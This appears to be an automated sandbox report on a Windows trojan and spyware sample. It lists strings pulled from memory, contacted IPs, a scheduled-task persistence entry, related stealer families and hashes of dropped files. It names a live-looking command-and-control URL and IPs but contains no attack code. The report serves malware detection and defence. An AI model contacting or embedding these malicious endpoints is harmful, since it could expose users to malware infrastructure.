https://clients4.google.com/chrome-sync	chrome.exe, 00000003.00000002.1766243113.00003074023C4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certsxx	chrome.exe, 00000003.00000002.1771959748.0000307402B68000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/?lfhs=2B~	chrome.exe, 00000003.00000002.1774792236.0000307402F6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774203118.0000307402E60000.00000004.00000800.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	rJvOqHxkuI.exe, 00000000.00000003.1306358333.000000000710F000.00000004.00001000.00020000.00000000.sdmp	false		high
http://anglebug.com/6692	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/258207403	chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3502	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3623	chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3625	chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3624	chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/J	chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5007	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/drive/installwebapp?usp=chrome_default	chrome.exe, 00000003.00000002.1773866792.0000307402E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1741071076.0000307402E1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1739793086.0000307402E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3862	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000003.00000002.1768383669.00003074026A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1742080099.0000307403190000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1741041290.0000307402EE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752718180.0000307402EE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1739573174.0000307402EE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1746789321.0000307403190000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752676011.0000307402594000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1767333842.0000307402574000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774444357.0000307402EF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1754864725.0000307403190000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1771612627.0000307402AAC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/search?q=&addon=opensearch	chrome.exe, 00000003.00000002.1773866792.0000307402E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1741071076.0000307402E1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1739793086.0000307402E20000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4836	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/issues/166475273	chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.css	rJvOqHxkuI.exe, 00000000.00000003.1306358333.000000000710F000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.ico	chrome.exe, 00000003.00000002.1774066627.0000307402E48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/:	chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4384	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3970	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW	chrome.exe, 00000003.00000002.1774978440.0000307402FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1767658765.00003074025F0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs	chrome.exe, 00000003.00000002.1771959748.0000307402B68000.00000004.00000800.00020000.00000000.sdmp	false		high
https://policies.google.com/	chrome.exe, 00000003.00000002.1772294755.0000307402C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1771959748.0000307402B97000.00000004.00000800.00020000.00000000.sdmp	false		high
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnY322	rJvOqHxkuI.exe, 00000000.00000003.1306358333.000000000710F000.00000004.00001000.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chrome.exe, 00000003.00000003.1752412624.000030740340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751081034.0000307403278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751155686.0000307403288000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751234839.0000307403144000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751302541.00003074032A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751686112.0000307403108000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752104484.0000307402504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774552614.0000307402F1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751654925.0000307402EE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751817687.000030740316C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1767002458.00003074024F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752256875.0000307403320000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751778874.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751187488.00003074032D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.jpg	rJvOqHxkuI.exe, 00000000.00000003.1306358333.000000000710F000.00000004.00001000.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 00000003.00000003.1731159047.0000279400728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1762653104.0000279400980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1731024543.000027940071C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7604	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7761	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7760	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	chrome.exe, 00000003.00000002.1773709063.0000307402E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1768575225.0000307402704000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769779278.0000307402908000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5901	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3965	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6439	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7406	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7161	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/search?q=$	chrome.exe, 00000003.00000003.1752256875.0000307403320000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7162	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5906	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/2517	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4937	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/166809097	chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://issuetracker.google.com/200067929	chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7847	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.19.228	www.google.com	United States	15169	GOOGLEUS	false
98.85.100.80	httpbin.org	United States	11351	TWC-11351-NORTHEASTUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
194.87.47.113	home.twentytk20pn.top	Russian Federation	49392	ASBAXETNRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578058
Start date and time:	2024-12-19 08:20:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	rJvOqHxkuI.exe renamed because original name is a hash value
Original Sample Name:	39cb781a70f40105ffdbb75e77aa6d7f.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@20/7@16/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 14 Number of non-executed functions: 198
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.17.78, 142.250.181.99, 64.233.162.84, 20.189.173.22, 13.107.246.63, 4.245.163.56, 23.218.208.109, 20.190.147.3
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, login.live.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:21:35	API Interceptor	2322326x Sleep call for process: rJvOqHxkuI.exe modified
02:23:34	API Interceptor	1x Sleep call for process: WerFault.exe modified
02:23:41	API Interceptor	2982576x Sleep call for process: service123.exe modified
08:23:07	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
98.85.100.80	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse
	NVkyG9HAeY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	W6seF0MjGW.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	f1842FwKth.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	aweqG2ssAY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	vH7JfdNi3c.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	U6mwWZlkzH.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	KzLv0EXDs1.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	0254xoMBbu.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	JiZQEd33mn.exe	Get hash	malicious	Unknown	Browse
239.255.255.250	https://forms.office.com/Pages/ShareFormPage.aspx?id=z5Knz2h3QUOIV4F1TCr6H8l1dBxA_RZAr7lBOGCmz8VURUlLQURGTlFGTEQ0QzdESlFMT1lGUlpRWi4u&sharetoken=rKEHIuU7H8od3T6m0C0Z	Get hash	malicious	Unknown	Browse
	pM3fQBuTLy.exe	Get hash	malicious	Vidar	Browse
	NWKk493xTy.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	88S3zQTYpl.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	NVkyG9HAeY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	W6seF0MjGW.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse
	Tbconsulting Company Guidelines Employee Handbook.docx	Get hash	malicious	Unknown	Browse
	https://pdf.ac/4lLzbt	Get hash	malicious	Unknown	Browse
194.87.47.113	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322
	NWKk493xTy.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322
	88S3zQTYpl.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322
	NVkyG9HAeY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
twentytk20pn.top	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	194.87.47.113
	NWKk493xTy.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	194.87.47.113
	88S3zQTYpl.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	194.87.47.113
	NVkyG9HAeY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	194.87.47.113
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.185.71.170
	aweqG2ssAY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.185.71.170
	EnoSY3z6MP.exe	Get hash	malicious	Cryptbot	Browse	185.185.71.170
	vH7JfdNi3c.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.185.71.170
	JiZQEd33mn.exe	Get hash	malicious	Unknown	Browse	185.185.71.170
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.185.71.170
httpbin.org	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	98.85.100.80
	NWKk493xTy.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.226.108.155
	88S3zQTYpl.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.226.108.155
	NVkyG9HAeY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	W6seF0MjGW.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	34.226.108.155
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	34.226.108.155
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	98.85.100.80
	f1842FwKth.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	aweqG2ssAY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
home.twentytk20pn.top	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	194.87.47.113
	NWKk493xTy.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	194.87.47.113
	88S3zQTYpl.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	194.87.47.113
	NVkyG9HAeY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	194.87.47.113
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.185.71.170
	aweqG2ssAY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.185.71.170
	EnoSY3z6MP.exe	Get hash	malicious	Cryptbot	Browse	185.185.71.170
	vH7JfdNi3c.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.185.71.170
	JiZQEd33mn.exe	Get hash	malicious	Unknown	Browse	185.185.71.170
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.185.71.170

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TWC-11351-NORTHEASTUS	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	98.85.100.80
	NVkyG9HAeY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	W6seF0MjGW.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	f1842FwKth.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	aweqG2ssAY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	vH7JfdNi3c.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	U6mwWZlkzH.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	KzLv0EXDs1.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	0254xoMBbu.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	JiZQEd33mn.exe	Get hash	malicious	Unknown	Browse	98.85.100.80
ASBAXETNRU	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	194.87.47.113
	NWKk493xTy.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	194.87.47.113
	88S3zQTYpl.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	194.87.47.113
	NVkyG9HAeY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	194.87.47.113
	17345062850621022e2a034193497843f70f72ad0e2a6d5b0e23bb6cd0de4c41fac1759029833.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	45.135.232.38
	H6Lzd3cP3H.exe	Get hash	malicious	Unknown	Browse	194.87.47.99
	k4c3YnjoBr.exe	Get hash	malicious	Cryptbot	Browse	194.87.47.99
	1SzdrH2oTL.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	194.87.47.99
	b3astmode.arm5.elf	Get hash	malicious	Mirai	Browse	91.193.216.252
	1733858044dd572d66bc3a8dabfe408fb29ad3eddb6c690affcab2d50d59673d0019848271178.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	45.135.232.38

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\ehoYPkfWhVokJMBQaExv.dll	NWKk493xTy.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	88S3zQTYpl.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	NVkyG9HAeY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	aweqG2ssAY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	EnoSY3z6MP.exe	Get hash	malicious	Cryptbot	Browse
	vH7JfdNi3c.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
	random.exe.7.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rJvOqHxkuI.exe_2b7ecc9df0f1f71a7082319fc60d29ac9dc5b29_410384f6_be9d00cf-efa2-45e1-aecc-85ee243ab56f\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.114185544991652
Encrypted:	false
SSDEEP:	192:1b5fcZKI0BU/wju0ZrPMttMKdzuiFmZ24IO8O:1FfoKjBU/wj/+zuiFmY4IO8O
MD5:	97481DAB41E896ABCB5609179B169D4E
SHA1:	7F8914763C685B4BED2740695CD7B99F4095D535
SHA-256:	AB6BAAA6460F58A6B666AB54F9654DB43910A88166D59F40D8724FDF8274B6C5
